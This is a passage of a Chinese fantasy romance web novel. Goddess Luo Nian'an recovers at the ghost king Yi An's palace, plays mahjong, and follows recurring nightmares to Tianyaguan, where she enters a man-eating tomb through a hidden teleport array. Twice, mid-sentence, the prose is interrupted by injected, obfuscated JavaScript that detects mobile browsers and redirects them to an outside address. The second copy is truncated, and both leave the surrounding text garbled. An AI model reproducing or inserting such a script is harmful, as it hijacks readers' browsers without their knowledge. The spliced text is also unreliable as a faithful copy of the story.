发现自己视线跑偏，她紧急移正，再次看着易桉的眼睛，决定实话实说：“我刚刚跟着一个可疑之人，她进了一座殿，消失不见了，我进去找，然后就出现在这里了。”她语速很快，生怕解释慢了让人误会。停顿片刻，又苍白补充道，“我不知道为何，也什么都没看见，真的。” 易桉面上是掩不住的笑意，他笑着点头，道：“知道了。” 看他的样子，洛念安依旧苍白道：“相信我。” 易桉面上笑意更浓：“我信你。” 他看着真真是一点儿都不信她。 “……”洛念安有点欲哭无泪。 易桉看着她，忽然正色道：“真的信你。我早知这里来了旁人。” 洛念安眼中燃起希望：“我就说，你肯定是知道的。但是她忽然不见了。” 易桉点头，一副全然不在意的样子，他边转身往前走边道：“一只自作聪明的小狐狸罢了，姐姐不必在意。这里没有她想要的东西，现在，她应该已经到了她该在的地方。” 洛念安看他拿起棉巾慢条斯理地擦拭着头发，问道：“何意？是你送她走的吗？” 易桉望着她，笑了笑：“我那阵，可以送人去任何他想去的地方。” “……”洛念安细想了一下这句话，猛地睁大眼睛，一抹红晕瞬间爬上面颊，她脱口道：“怎么可能？” 易桉放下棉巾，半坐半倚着桌子，抱着臂，戏谑地看着她，缓声道：“难道姐姐方才，没有想过我？” “……”方才察觉到自己迷路，洛念安确实第一个想到易桉，因为往常无论自己走到哪，他都能找到她，将她带回寝殿。 她解释着：“……我方才发现自己迷路了，所以……” 易桉挑眉，点点头，道：“嗯，所以那传送阵就将姐姐传到这里来了。” 洛念安低垂着头，小声道：“那阵竟然这样厉害。” 易桉笑了笑，道：“还好，若姐姐喜欢，我可以教给姐姐。” “当真？”洛念安抬头，眼里闪烁着兴奋和对知识的渴望。 “自是当真。”易桉起身，带着洛念安往出走，“不过要等姐姐痊愈之后。” “啊，”洛念安小小抗议了一下：“我已经恢复法力了，现在就学也没什么吧。” 易桉无情拒绝：“不可以，这阵耗心神。” 抗议无效。洛念安只得妥协，低声道：“好吧。” 易桉侧目看她，道：“明日那两个会来陪你打麻将。” 洛念安再次兴奋：“真的吗？” “真的。” “谢谢。” “谢我做什么？” “你真好。” “……” 25. 公主深陷连环梦魇 第二日，柳渊和赫连昭果真来了。孔玉把他们带过来时，洛念安已经拉着易桉在麻将桌边坐好了。叶蓉抓了把瓜子搬了个凳子坐在洛念安身边。 叶蓉道：“洛姐姐，这个怎么玩儿？我不会，可不可以教教我？” 洛念安欣然道：“可以啊，很简单的，你先看我们打，看着看着说不定就会了。” 叶蓉道：“这个必须四个人玩吗？” 洛念安点头：“是啊。” “念将军！好久不见啊！”柳渊举手摆着手中的扇子。 洛念安顺着声音看过去，他们已经到门口了，她笑着站起身，又被易桉拉着坐下：“跟他们还客气什么。” 洛念安冲易桉笑了笑，又看向柳渊：“好久不见柳将军，你们怎么想起约我打麻将了？” 柳渊和赫连昭自觉落座。他道：“不是我们啊。”说着他看了一眼易桉，“鬼王阁下邀请我们来打麻将，我们敢不来嘛？” 易桉瞥了他一眼没说话。 他们开始上手理牌。柳渊看了一眼洛念安身边的叶蓉，道：“上次没机会问，这位美女鬼怎么也在这？你不是放她离开了吗？” 洛念安微笑道：“一人住有些孤单，便让叶蓉来陪陪我。” 叶蓉嗑瓜子的手一顿，看向洛念安，露出笑容，道：“是我要洛姐姐收留我的，我喜欢和洛姐姐待在一起。” 柳渊手上动作不停，无比赞同道：“英雄所见略同，我也喜欢和念将军……哎呦！”他不满地看向赫连昭，“你踢我做什么？” 赫连昭一头雾水：“我踢你做什么？！” 两句话看文字是一样的，但表达的意思完全不一样。 “不是你还能有谁？”柳渊道：“难不成鬼王阁下会闲的没事踢我吗？” 易桉面不改色道：“不会。” 赫连昭觉得现在外面真应该下一场飞雪：“我真没踢你，我真服了。” “……”柳渊缓缓看向易桉。 易桉依旧面不改色：“不是我。” 现在柳渊要一头雾水了，他纳闷的往桌子底下看了一眼，好几双腿好好地待在自己该待的位置。 “那是谁？难不成见鬼了不成？” 叶蓉不乐意了：“少冤枉鬼啊。” 猜到真相的洛念安笑得合不拢嘴，开玩笑道：“柳将军，在鬼王大人的地盘，说话还是要注意点哦。” 柳渊大概也猜到了，但还是那句话“人在屋檐下”，于是他理所当然地把罪名安在了赫连昭头上：“绝对是你，不用装了。” 赫连昭比他早猜到一点，白了他一眼，又说了一句：“我真服了。” 洛念安一边打牌一边和柳渊扯闲话，她问：“最近神界可有事发生？” 柳渊沉迷于看牌，缓缓摇头：“忙着加强防事呢。” “什么防事？”洛念安下意识问了一句，又恍然大悟，几人的视线齐齐落在易桉身上。 易桉打出一张九筒，扫了他们一眼，无辜道：“看我做什么？” “等下等下，”洛念安喜上眉梢：“我杠我杠。” 柳渊深深怀疑：“我说鬼王阁下，你是不是看她牌了？怎么每次都能打出她要的牌？”说着他看向正努力学习的叶蓉，“我怀疑你是他的卧底。” 叶蓉抽空瞥了他一眼，抬手指了指自己的太阳穴，道：“我怀疑你这里有点问题，去看看吧，你看着也不像看不起病的样子，耽误时间就不好了。” 洛念安憋不住笑了。 易桉张了金口：“人菜，话多。” 赫连昭难得赞同他：“就是。” “......”团欺柳渊只能闭嘴。 牌局结束，渊、昭二人又留在安乐殿吃了晚饭。柳渊直呼“沾光”。 他们离开后，洛念安沐浴完就歇下了，夜里她做了一个怪异的梦。 梦里，眼前有一座坟墓，墓碑前坐着一位白衣女子。白衣女子身边有人排着队，她将排队之人的名字写在墓碑上，然后道：“下一个。” 于是第一个人就转身离开了，后面的人走上前来，白衣女子又将他的名字也写在墓碑上。洛念安不知道他们在做什么，回头看向前一个离开的人，却发现他走着走着忽然消失不见了。排队之人一共九个，白衣女子将他们的名字一一写在墓碑上，写着写着，忽然停下笔，口中道：“不对，还有一个人。” 她话音刚落，洛念安眼前突然陷入黑暗，黑暗中，一双巨大的血色双眼睁开了。 洛念安猛地睁眼，发现只是自己做了一个噩梦，便也没有在意，翻个身，继续睡下了。 第二日夜晚，她又做了一模一样的梦。仍是到那女子道：“还有一个人。”接着睁开一对血色的双眼结束。 第三日，也是一样。 一模一样的梦境，她连续做了三次。不同的是第三次那女子没有再说那句话了，而是直直盯着洛念安，露出了一个诡异的微笑，缓缓道：“来，天涯关。” 月色正浓，洛念安呆坐在榻上，思忖着，披上外衣下地出了门。她坐在廊边的长椅上，对着满园玉兰花和皎洁的月色沉思。洛念安实在没法说服自己这是一个巧合，而令她最不安的是，五百年前，她也是接连做了好几日一样的噩梦，梦中的笑面人蛊惑着她，让她去不归川，她真的去了，然后...... 人不应该犯两次同样的错误。 “天涯关。”洛念安低声喃喃着。那是哪里？“还有一个人”是谁？是她吗？ “姐姐。” 突然发出的声音把洛念安吓了一跳，她抬眸往声源处看去，发现是易桉站在拐角处。洛念安松了一口气，露出了一个疲惫的笑容：“小桉，你怎么在这里？睡不着吗？” “没有，”易桉迈步往这边走，他应该是刚起床就过来了，外衣只松松垮垮地披在肩上，他继续道，“察觉到姐姐寝殿的殿门开了，便过来看看。” 洛念安着实没想到这都能让他察觉到，但又因打扰他休息而心怀愧疚，道：“抱歉啊，影响你休息了。” “这有什么，”易桉坐在了她身边，玩笑道：“人死后本就长眠，偶尔也应该起来活动活动。” 这话让一般人听了恐怕要吓得再也睡不着了。好在洛念安不是一般人，不好的是，听了这话，她却莫名有些难过。 见洛念安不说话，易桉侧目看过来，问道：“所以姐姐为何深夜独自坐在这里？” 他这么一问，洛念安便将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446912|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几日所做的梦一股脑全告诉了易桉。 易桉垂眸认真听着，听到最后，抬起眸看向她，道：“天涯关？” 洛念安点头：“对，是这个名字。” 易桉又垂下眸，轻轻蹙了蹙眉，道：“还真有这么个地方。” 洛念安睁大眼睛：“你知道？” 易桉点点头：“我去过。天涯关地处偏远，原是一个古战场。那里曾爆发过一场极为惨烈的战争。姐姐原先不知道这个地方吗？” 洛念安缓缓摇头，又蹙起眉，不太确定道：“我去过太多地方，很多都不记得了。” 易桉道：“这个梦既然这样折磨姐姐，便去那天涯关看看就是。” 洛念安这下摇头摇的坚定的多，她道：“不可，决不能去，一定是圈套。” 易桉侧目看过来：“嗯？” 洛念安咬着下唇，垂首盯着自己的脚尖，过了好半晌，才轻声道：“五百年前，我曾做过一个类似的梦，不止一个，也像现在这般，一连几日都是。梦中之人一直蛊惑我，去不归川。那时我年纪小，好奇心重，想要一探究竟，便去了。从未有人告诉我那里是禁地，也没人告诉我那里到底镇压着什么，我触动了封印阵法，险些铸成大错。”停顿片刻，她继续道，“我也因此被贬下界。”她抬起头，对上易桉的视线，扯了扯唇角，“所以，好奇心，害死猫。” 易桉许久都没有说话。 风起，月光下树影摇曳。 他忽然道：“姐姐不觉得奇怪吗？你为何会做这样的梦？五百年前，还有现在。这不可能是巧合。”易桉再次看过来，语气里满是笃定，“有人，在控制你。” 洛念安心下一惊。 她早就知道这件事情，而现在，她却是摇摇头，道：“我不知道。” 易桉目光沉沉地望着她，她目光沉沉地盯着自己的脚尖。 又是一阵无言。 易桉轻声道：“既然姐姐不想知道，便不去想这件事了。不早了，姐姐的伤势尚未完全恢复，早些歇息吧。” “我......”洛念安犹豫着，她不想去睡觉，也不想再做那个梦了。但她知道说出来一定会被拒绝，而且易桉已经站起来了，看那架势是要亲自送她回寝殿。洛念安别无他法，缓缓起身，慢慢挪进殿里，坐在榻边，看向易桉欲言又止。 易桉重新点了一款香，侧目瞥见她的模样，轻声笑了笑，道：“我给姐姐点了安神香，姐姐睡下后不会再做梦了。”他看着洛念安躺在床上，盖好被子，只露出一个脑袋，眼睛直直地看着他。易桉眸光微动，声音更轻，“睡吧，我就在这里，陪你入睡。” 洛念安其实是想的，但是又觉得不好意思。她眼神闪烁，假模假样道：“不用了，太麻烦你了。” 易桉微微勾唇，点头道：“那好吧，那我就不打扰姐姐歇息了。” “欸？”见他真的要走，洛念安有点急了。 易桉忍住没笑出声，他侧身，看向洛念安。 洛念安却是清清楚楚地看见了他眼中的戏谑，反应过来后猛地将被子盖过头顶，闷声道：“我先睡了，晚安。” 床榻似乎塌下去了一块，她隔着被子，听见易桉道：“姐姐晚安。” 26. 为报恩情亲绣荷包 关于梦境之事暂时被搁置了，奇怪的是那晚之后，洛念安也没有再做过那个梦。伤势好转，虽没有恢复如初，但她已经在易桉这里住了半月有余，心里十分过意不去，便提议回到玉兰观继续养着。 易桉难得没有拒绝，只是让她吃过午饭再离开。 等洛念安回到玉兰观，发现里里外外都一尘不染，不免觉得惊奇，问叶蓉道：“你回来打扫的吗？” 叶蓉摇头，道：“不是我，是王方才派人来打扫的。” 怪不得要让她吃过午饭再离开。洛念安轻轻一笑，道：“他一向思虑周到。” “是啊，”叶蓉点点头，眼睛一斜，看向洛念安，露出了一个不怀好意的笑：“洛姐姐，你觉得王他怎么样？” 洛念安没明白：“什么怎么样？” 叶蓉：“就是你觉得他这个人……这只鬼怎么样？” 洛念安不假思索道：“当然很好啊。”她注意到院中树下摆了两只躺椅，躺椅间置了一张圆桌，走过去伸手摸了摸，问道，“这些也是易桉置办的吗？” “肯定是的！”叶蓉道：“肯定是为了方便洛姐姐在院中晒太阳的，两张躺椅？难道还有一张我的？！王他真的，我哭死！” 叶蓉都要热泪盈眶了。 洛念安看着她，轻声笑了笑。她先坐上了躺椅，轻轻前后摇晃着，阳光洒下来，舒适又惬意。叶蓉跑进去，端着个茶壶出来，惊喜道：“连水都是热的！”她给洛念安倒了杯热水，又给自己倒了一杯，将茶壶放在圆桌上。躺椅有一张在树荫外，能直接晒到太阳，另一张在树荫下，叶蓉坐在了这张躺椅上，也前后摇晃着，侧目看向洛念安，笑道：“洛姐姐，你说我们王上，容貌上上乘，个子高，身材……这个我不清楚，有钱，体贴，温柔又细心，是不是？” 洛念安闭着眼，太阳晒的正安逸，听叶蓉这么一说，先是“嗯”了一声，然后脱口道：“身材也很好。” “……” “……” 叶蓉眨了眨眼，笑容逐渐变态：“你怎么知道？” 洛念安猛地睁开眼，眼神四下游移不定，最后干脆又闭上了：“我猜的。” “哦？”叶蓉盯着她泛红的耳尖：“真的吗？” “自是真的。”洛念安强装淡定。 “好吧。”叶蓉好心放过了她。 洛念安岔开话题道：“说到这，上次他闯入神界救下我，这段时间我又在他那里叨扰了这么久，这份恩情当真是不知该如何还了。我总想为他做些什么，但又实在是帮不上他的忙，他又不缺任何东西，送礼物也不知该送什么，真是苦恼。” 叶蓉听了，抿唇思索片刻，忽然露出一个笑容，道：“我知王缺什么。” 洛念安睁眼看向她，好奇道：“什么？” 叶蓉竖起一根手指：“缺个王妃。” “……”洛念安心慌了一瞬，她沉默片刻，开口道：“这，这，这个……这个我有何办法？” 叶蓉手肘支在扶手上，探出半个身子，嘻嘻道：“洛姐姐不如去问问王上有无心仪的女子，然后撮合撮合他们，撮合成功了，这恩情不就还了嘛。” “……”洛念安不知为何自己的心里这样乱，她道：“这不太好吧，这太唐突了。” 叶蓉看她那模样，哈哈笑了几声，道：“我开玩笑的，说正经的，我想到一个。” “什么？” “洛姐姐不如亲手绣个荷包送给王上，他一定喜欢。” “为何？”洛念安不明白：“他应该不缺荷包吧？” 叶蓉冲洛念安挑了个眉，故作深沉道：“你信我洛姐姐，王一定会喜欢。” 洛念安相信她了，绣了两日的荷包，只是几朵简单的玉兰花，绣的她怀疑人生。手扎了无数次，针脚乱七八糟，甚至自己都不太能看出来绣的到底是什么。但好在让她明白了一个道理，那就是不适合自己的事情不要硬做。她一边说着放弃，一边马不停蹄地将这个荷包绣完了。 “很好看啊。”叶蓉评价道。 洛念安盯着她：“你认真的吗？” 叶蓉面不改色：“认真的。”她接着道，“你直接送给王上，他会喜欢的，真的。” 洛念安被她这样一说，由开始的怀疑变成半信半疑了。她刚把荷包收好，准备下次见面的时候送给易桉。又忽然闭上眼睛，耳边响起一道女声：“珈洛公主，求求你，求求你，帮帮我，帮帮我，我快活不下去了。” “？！！”洛念安猝然睁眼，若是她没有猜错，这应该是……她的信徒的祈愿？！这两个字实在陌生，洛念安反应了一会儿，立马起身，对叶蓉道：“有信徒祈愿，我去看看。” 洛念安隐了身，现身于神台之上。这供桌看着比她观中的还要随意，一张木制排位，一个香炉，上面插着三炷香，看来也是临时搭建起来的。一面色苍白的女子跪在供桌前，双手合十，闭目祈愿：“小女子名李兰花，玉田村人，村中恶霸黄中德，到处散播小女子的谣言，求珈洛公主显灵，惩治恶人，还小女子清白，求神仙显灵。” 了解情况后，洛念安回到玉兰观。叶蓉上前来问她：“姐姐，怎么了？谁祈愿？祈了什么愿？” “玉田村，李兰花。”洛念安蹙着眉，有些百思不得其解：“她为何会得知我的神号？还向我祈愿？” 瞥见叶蓉闪躲的眼神，洛念安挑眉道：“是你？” 叶蓉搓了搓手，抿抿唇，对洛念安笑了笑，小声道：“我前几日在外面惩奸除恶的时候，对那些女子说遇到事就拜珈洛公主，一准有用。可能她们之间一传十十传百就……” 洛念安了然：“原来如此。” 叶蓉小心翼翼地看了她一眼，道：“洛姐姐，不会给你添麻烦吧？” 洛念安笑了笑：“怎么会？我还要感谢你为我笼络信徒呢。” 叶蓉松了一口气，又问：“那女子许了什么愿？” “她说一个叫黄中德的人散播她的谣言，具体的我还不是很清楚。不过看样子，她真的不堪其扰，告诉我说自己活不下去了。” “那可不行！”叶蓉声音一扬，又道：“玉田村是吗？洛姐姐，你且先等等我，我去打听打听，很快回来。”说完，她扭头走了，很快化作一道黑影消失。 她刚离开，半空中忽然撕开了一道裂缝，延至地面，从裂缝中飞出一只海东青，紧跟着一只荧目黑豹，易桉跟在它们后面，从裂缝中现身。他今日披了一件和衣服同色系的披风，肩头缀着银饰，英姿飒爽，格外好看。 洛念安惊喜道：“小桉？你来了！” 苍落在地上，在院子里四处转悠。阿离一出现就挤在洛念安身边蹭她，被易桉打了一巴掌，跑去和苍一起视察院子了。 “嗯。”易桉挂着笑：“想来看看姐姐，顺便带它们出来放放风。” 洛念安走到树下圆桌旁，给易桉倒了一杯水，走过来递给他：“我这里没有好茶，委屈你喝点白水了。” 易桉垂眸，伸手接过那杯水，紧接着面上的笑意瞬间消失，另一只手忽然握住洛念安的手腕，沉声道：“姐姐的手怎么了？” 洛念安微微一愣，道：“哦，这个啊......”她看着自己被禁锢着的两只手，尝试抽回，却只是徒劳。又看向易桉，小声道，“那个......我想拿个东西。” 易桉却道：“姐姐还没告诉我，手上的伤是怎么来的。” 洛念安垂眼，小声嘟囔道：“你待会就知道了。” 易桉便依言松开了，看着洛念安磨磨蹭蹭地从袖口里掏出一个缥色荷包，递给他。 洛念安看着自己手中的残次品，突然就不好意思送出去了，又紧急撤回。易桉却快她一步已经接过去了，于是她只撤了两只空手回来。 易桉的声音从头顶传来：“这是，送我的？” 事已至此，洛念安只能点头，道：“我知欠你许多恩情，便想着稍微偿还一点。这个是我自己绣 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洛念安和易桉齐齐往院门处看去，柳渊和赫连昭立在门边，似乎被惊住了，连法器都祭了出来。 易桉收回视线，启唇道：“回来。” 他话音一落，苍便从空中落下，重新立在他身边。阿离也放下戒备，准备继续和洛念安玩，而洛念安却跑去接客了。 她挂着笑，迎了出去：“二位将军，来找我打麻将吗？” 柳渊伸出一只手，手心对着洛念安，义正言辞道：“麻将先放在一边，这是什么情况？” 洛念安顺着他的视线看过去，微笑道：“放轻松，易桉他带着阿离和苍过来玩一玩。” “等一下，阿离是谁？苍又是谁？” “阿离是荧目黑豹，苍是海东青。”洛念安引着他们，“二位先进来吧，它们应该不会攻击二位的。” 柳渊脚步一顿：“应该？” 洛念安道：“抱歉，但是我想小桉他不会让它们攻击二位的。” 两人跨进院门，离这边两只老远站着。柳渊不太确定地问易桉：“鬼王阁下，”他悄悄指了指阿离，“它应该不会突然过来咬我一口吧？” 易桉抱臂倚在树下，闲闲道：“放心，它挑食得很。” 赫连昭终于出声道：“我说这位，你是住在这里了吗？” 易桉瞥了他一眼：“我也纳闷，怎么每次来都能碰见你们？下次出门一定看黄历。” 洛念安习以为常地岔开话题：“所以二位是来找我打麻将的吗？” 柳渊道：“我不知道啊，赫连昭说找你有事，我一听是来找你的，就跟着过来了。”说着，他看向赫连昭，“你到底有什么事？” 洛念安也看了过去。 赫连昭对上她的视线，又快速移开，道：“我接了个任务，在天涯关。” 洛念安扬着的唇角瞬间落下，瞳孔微张，心下一骇：“你从哪里接到的任务？！” 她这样严肃的语气，倒是让赫连昭怔愣了一下，然后道：“有信徒在我庙里祈愿，说天涯关有一个食人墓，我便打算亲自去看看。” “……”洛念安垂下眸，忍不住深吸一口气，又缓缓吐出，道：“你不要去。” 赫连昭再次愣住。 柳渊不明所以：“怎么了？发生什么了？这地方怎么了吗？”他又看向赫连昭，“你为这事儿来找念将军做什么？和她有什么关系？” 赫连昭盯着洛念安道：“天涯关是它现在的名字，在三百年前，它叫落阳关。” 洛念安猛地抬眼，撞上他的视线。 她移开眼，又深吸了一口气，道：“我去，我去吧。” 柳渊仍是一头雾水，还在问“怎么了怎么了”，赫连昭却始终不理他。 洛念安的后背忽然覆上来一只手，轻拍着她，她微微愣神，扭头，看向不知何时来到她身边的易桉，听见他道：“姐姐，有我在，别怕。” 27. 天涯关寻阴谋真相 叶蓉现身时，发现院子被挤满了，多了两人一鬼一鹰一豹，愣了一下，先对易桉垂首打了个招呼，然后拉着看起来情绪不太好的洛念安到一边去，问道：“洛姐姐，你怎么了？怎么脸色这样白？伤势严重了吗？还是发生什么事了？” 洛念安微微摇头，道：“我没事，你打听的如何了？” 叶蓉道：“都打听清楚了。那个黄中德是玉田村村长家的小儿子，他看上了李兰花，被拒绝后心生怨念，到处造李兰花的黄谣，别提多恶心了。现在李兰花已经不敢出门了，到处都是人对她指指点点，她家里人也在怪她，说什么苍蝇不叮无缝的蛋。根本就是脑子有病，我真恨不得上去一人一个嘴巴子，那个黄中德更是十个嘴巴子。” 李兰花的遭遇让洛念安蹙起了眉，听到最后又忍不住舒展开了。她沉默片刻，道：“这件事情不能再拖了，但是眼下我还有另一件要紧事要去处理。” 叶蓉听懂了她的意思，道：“洛姐姐你去忙别的事吧，这件事交给我。我保证帮你办的漂漂亮亮的。” 洛念安露出笑容，道：“那就麻烦你了。对了，也不可太过火。他用哪里伤害的人家，就让他哪里遭殃好了。”说着，她附在叶蓉耳边，悄声说了几句话。 叶蓉听后，对她眨了下眼，露出了个狡黠的笑：“明白了，那我先去了。” 洛念安点点头，又道：“若是你回来后没见到我，该吃饭就吃饭，该歇息就歇息，不用等我。” “好，知道了。”叶蓉丢下一句话，一溜烟儿又走了。 洛念安回到原处，柳渊问道：“那位美女怎么来也匆匆去也匆匆的？” 她道：“她有些事情要处理。” 柳渊略一思索，道：“她不会要去害人吧？” 洛念安看着他，微微一笑：“我怎么会允许这样的事情发生呢？要害也是害有害之人。”顿了一下，她又道，“请问二位的法器能否收一收？拿着应该也很累吧。” 那边两人的视线齐刷刷落在正趴在易桉脚边小憩的阿离身上，犹豫片刻后，又齐齐收了法器。动作整齐划一，像专门练过一样。 洛念安不禁莞尔，又道：“那我现在动身去天涯关，二位没事就请先回吧。” 闻言，易桉踢了一脚阿离，阿离从梦中惊喜，有些懵懵然，甩了甩脑袋。这时，空中裂开一条缝隙，它便和苍一起，进入缝隙离开了。 缝隙闭合，柳渊目睹全程，叹了一句：“高，实在是高。” 没人打算理他。易桉看向洛念安，道：“姐姐，带上我。” “嘶，”柳渊化出扇子，展开摇了摇，忍了忍，还是忍不住道：“我说鬼王阁下，神界的事要不你还是不要掺和进来了吧。” 赫连昭直接多了：“就是，你一只鬼，老掺和我们的事做什么？” 易桉没直接搭理他们，微微俯身在洛念安耳边道：“姐姐，你看他们~” “......” “......” 赫连昭：“这是哪出？” 柳渊：“烧了一壶好绿茶。” 赫连昭没明白他的意思，正欲再问，就听见洛念安道：“好啦二位，不要这样凶嘛，易桉他也是好心帮忙嘛。” “......”赫连昭无了个惊天大语，已经不想再问其他的了。 柳渊比赫连昭早知道这件事一些，懒得多说，只是道：“出任务一般都会结伴的，我们来都来了，哪有让你只身一人前往的道理？我也去。” 赫连昭也道：“我也去。” 洛念安没拒绝，她心想着若是出了什么事情自己担着就是。就这样，四人小队再次准备出发了。 赫连昭正准备结阵，身旁已经开了一条裂缝。他看向易桉，易桉也正瞥向他，道：“以天涯关到这里的距离，等你们那传送阵结好，恐怕年都过了。”说完他便带着洛念安进去了。 赫连昭结阵的手势僵在那里，柳渊难得心疼了他一瞬，以扇拍了拍他的肩膀，然后跟着进去了，进去前还说了一句：“我先去见见世面。” “......” 天涯关自古就是兵家必争之地，关破，则国破。虽是战略要地，但环境艰苦，常年风沙不断，遇战时，关外血流成河，关内人心惶惶。人虽少，但总有一批百姓一直生活在这里——他们的故乡。 尽管洛念安曾在这里生活了一段时间，时隔多年，再回故地，仍觉得陌生非常。 这里风沙依旧，易桉将终点定在了一座客栈旁，再现身，他竟然化成了之前的少年模样，洛念安尚未反应过来，就被带进了客栈，落了座，放了一块银子在桌子上：“上好菜。” 店家忙不迭收了银子下去了。 洛念安忍不住盯着他看，问道：“你为何又化成这个模样了？” 易桉反问她：“不好看吗？” 洛念安点头道：“好看。”她接着又道，“但其实我觉得你本相更好看。” 易桉似乎怔了怔，随即扬起唇角。 洛念安才反应过来自己说了什么东西，察觉到那道炙热的视线落在自己身上，低下头盯着坑坑洼洼的桌子暗自懊恼。 后面二位也坐了下来。柳渊展开扇子，问道：“不是办事吗？怎么还坐下吃起来了？” 洛念安如蒙大赦，她虽也不解，但觉得易桉这样做肯定有他的道理，于是道：“这里天黑得早，这件事尚不知始终，先寻个落脚地总是没错的。” 赫连昭从现身开始就沉着一张脸，洛念安看着情绪也不高。柳渊这边看看，那边看看，扇子摇的忽快忽慢，寻思着活跃活跃气氛，于是道：“故地重游，分外亲切哈。” 这句话成功引来了赫连昭的一记白眼。 洛念安扯了扯唇角，道：“是啊。” 赫连昭却没白她，只定定地看着她。 洛念安别开视线，恰巧店家上了菜：“各位客官慢用。” 她便趁机打听了一下：“店家，劳驾，请问这里可有发生什么怪事？” 店家上菜的手一顿，视线在四人面上过了一圈，摇摇头道：“没有。” 柳渊放了一块银子在桌子上。 “……”店家态度大转弯，四下看了看，躬着腰悄声道：“听说，在城门外大概二里地的地方，有一片坟墓，之前死了几个盗墓贼，大家没觉得有什么，可是最近越来越多的人在那里失踪。还有人说看见自家人半夜起来往那里走，怎么拦都拦不住！” 洛念安听完，微笑道：“知道了，多谢。” “那各位慢用，有事喊我。”店家摸了银子，走了。 竟然和自己的梦境如出一辙。 洛念安垂眸沉思着，注意到易桉给自己夹了菜，听他道：“姐姐，先吃。” 洛念安点点头，拾起筷子。那边柳渊已经大快朵颐起来，赫连昭却依旧沉着脸，始终未动。她也没吃几口，便没了胃口。 外面的天真的很快就黑了下来。 柳渊擦干净嘴，道：“吃也吃好了，去那地方看看吧。” 赫连昭准备起身，就听见洛念安道：“不急，今夜先在这里留宿吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464168|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的不解和气愤直接写在了脸上，出声道：“你知道今夜放任过去会有多少人为此丧命吗？你做任务就如此散漫？” 易桉面色一沉，冷然道：“你在教谁做事？” 洛念安抬手比了个“停”的手势，淡定对赫连昭道：“这件事你别管，我自有分寸。” “你有什么分寸？你考虑过......” 他话还没说完，洛念安沉下脸，声音一改方才的柔和，道：“我说，我自有分寸。” “......”赫连昭竟真的没说话了，甚至坐了下来。 柳渊默默给洛念安比了个大拇指，劝着赫连昭：“你也别太激动，相信念将军，她肯定有她的想法。” 赫连昭扯着嗓子：“我才不信她！” 这一嗓子吸引了全场的视线。 柳渊叹了口气，默默以扇遮面，道：“你也就会跟我横了。” “......”赫连昭沉默。 柳渊察觉到有人在看他，然后莫名其妙对上了易桉的视线。易桉道：“你去开房间。” “......”这下轮到柳渊沉默了，他默默起身，去找店家开房间去了。 过了一会儿，他回来，道：“店家说只剩三间房了。”说完，看向了赫连昭。 “我不可能跟你住的。”赫连昭立马道。 柳渊点点头：“那你去跟鬼王阁下住。” “......” 易桉婉拒：“麻烦有多远滚多远。” 柳渊也道：“你能不能别事儿啊？我还没嫌弃你呢。你不跟我住，难不成我俩一人一间，他俩一间？” 他这话一说完，就听见那边易桉问洛念安：“可以吗，姐姐？” 柳渊跟赫连昭异口同声义正言辞道：“不可以！！！” 易桉瞥了他们一眼，对着石化的洛念安微笑道：“开个玩笑，姐姐不要介意~” 洛念安赶紧摆摆手：“没关系。”然后起身道，“那大家就先歇息吧。”语闭，她便先行让店家带着上楼了。 易桉紧跟着上来，在房门口跟她说了“晚安，好梦”便在隔壁住下了。 午夜。 洛念安悄无声息地开了窗户，探头往外看了一眼，从二楼一跃而下。借着月色，凭着记忆一路来到城门，按理说夜晚城门应该紧闭才对，此时却开了一条容人通过的缝隙。她神色一凛，确定四周无人，便闪身穿过城门往店家所说之处奔去。她知道那个地方，自古生活天涯关的人去世后，大多都会葬在那里，葬身于天涯关的将士，也会被葬在那处。 越靠近那处，洛念安真的看见有人往那个方向去。她快步奔上前去，来到那人面前，却发现那人紧闭双目，似在梦游一般。而她怎么唤都唤不醒，只得施法将其定在原地，便又急匆匆往前赶去。一连定了三四个人，终于看到了前方连成片的墓地。她放慢速度，见到前面还有一人在行进，便趁机跟在他身后，由他带着往前。走了有一会儿，穿过大片坟墓，洛念安看到前面有人，目测有八人，正在一座坟墓的墓碑前排队。 此情此景与梦境几乎一模一样，唯一不同的是，墓碑前没有白衣女子在上面写名字。洛念安不禁后背发凉，然后看见为首的人走到墓碑前，忽然消失不见了。 “？！！”人去哪了？ 她看着后面的人紧跟着上去，消失在墓碑前。她跟着的那人也加入了队伍，不知不觉一个个往前移动。洛念安便也排在了队伍之后，轮到她时，她走到墓碑前，眼前白光一现—— 这里竟然有一个传送阵！ 28. 夜半只身入食人墓 再能视物时，眼前很暗，两侧墙壁上隔着很远才有一个火把。她前面还是方才那人，缓缓往前移动着。突然响起了一道尖锐的声音：“快点！往这边走！锅都烧好了就等着你们呢！” 洛念安赶紧闭眼，微微露出一条缝，勉强视物，跟着往前走着。这里很窄，两面都是土墙，似一条地道。走了一阵，前面那人拐了弯，洛念安也跟着拐，眼前豁然开朗，这里比外面明亮一些，但还是暗，最亮的地方是一堆燃烧的柴火，上面架着一口锅，正冒着热气。 洛念安一眼就看见蹲在角落瑟瑟发抖的一群百姓，他们似乎到这里之后就苏醒了，有的抖如筛糠，有的一动不动，似乎昏死过去了。她跟着前面的人，蹲进了人群中。 刚刚发出那道声音的人不知道去哪了。这里似乎除了这些百姓没有别的东西。洛念安缓缓睁眼，瞥见另一个角落堆着一些人骨。 “你们最近有些过分了。” 门口突然响起一道男声，洛念安迅速低下头，学着身旁的人抱着脑袋，竖起耳朵听着。 